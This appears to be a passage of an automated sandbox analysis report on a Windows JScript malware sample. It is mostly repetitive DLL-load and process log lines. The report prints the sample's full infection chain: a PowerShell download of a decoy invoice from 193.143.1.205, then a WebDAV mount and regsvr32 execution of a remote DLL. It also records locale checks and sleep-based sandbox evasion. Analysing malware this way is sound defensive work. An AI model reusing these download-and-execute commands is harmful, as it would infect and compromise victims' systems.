Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4985.js.csv");ITextStream.WriteLine(" entry:7994 f:lougs");ITextStream.WriteLine(" exec:2 f:lougs");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49736

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5277			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4578			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2476	Thread sleep count: 5277 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2476	Thread sleep count: 4578 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4412	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4948	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6288	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7360	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1839056812.000001CDBE967000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3047232792.0000025D5C054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.3045374375.0000025D56C24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`l
Source: net.exe, 00000006.00000002.1838413181.000001CDBE908000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\580246788750.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

